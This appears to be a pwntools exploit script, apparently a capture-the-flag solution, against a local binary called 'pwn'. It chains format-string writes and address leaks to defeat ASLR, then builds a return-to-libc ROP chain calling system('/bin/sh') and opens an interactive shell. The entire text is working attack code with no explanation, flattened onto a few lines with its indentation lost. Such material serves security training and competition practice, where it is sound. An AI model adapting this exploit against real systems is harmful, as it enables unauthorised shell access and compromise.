1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import *
elf = ELF('./pwn') lib = elf.libc
def fmt(): p = process('./pwn') payload = b'%94c%38$hhn' payload += b'%40$p' payload += b'%63$p' payload = payload.ljust(0x100, b'a') payload += b'\x88'
p.recvuntil(b'~') p.send(payload) p.recvuntil(b'0x') rbp_addr = int(p.recv(12), 16) last_num = rbp_addr & 0xff if last_num - 8 != 0x88: return global flag flag = 1
p.recvuntil(b'0x') base_addr = int(p.recv(12), 16) - 0x80 - lib.sym['__libc_start_main'] log.success(f"base_addr: {hex(base_addr)}") system_addr = base_addr + lib.sym['system'] pop_rdi = base_addr + 0x000000000002a3e5 print(hex(pop_rdi))
p.recvuntil(b'~') payload = b'%22$hhn' payload += b'%19c%23$hhn' payload = payload.ljust(0x80, b'a') payload += p64(rbp_addr - 0x10) + p64(rbp_addr - 0x8) flag_addr = rbp_addr - 0x90 payload += b'/bin/sh\00'
payload += p64(pop_rdi + 1) + p64(pop_rdi) + p64(flag_addr) + p64(system_addr) p.sendline(payload) p.interactive() p.close()
if __name__ == '__main__': flag = 0 while True: if flag == 1: break fmt()
|